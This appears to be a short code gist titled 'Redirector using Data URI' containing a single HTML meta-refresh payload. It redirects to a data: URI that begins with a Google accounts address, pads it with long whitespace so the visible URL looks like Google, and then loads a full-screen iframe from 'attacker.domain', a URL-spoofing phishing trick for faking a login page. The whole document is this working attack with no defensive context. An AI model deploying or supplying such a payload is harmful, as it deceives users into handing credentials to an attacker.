Redirector using Data URI

gistfile1.txt

<meta http-equiv="Refresh" content="0;
url=data:text/html,https://accounts.google.com                                                                                                                                                           <iframe src='http://attacker.domain' style=' position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;'> Your browser doesn't support iframes </iframe>">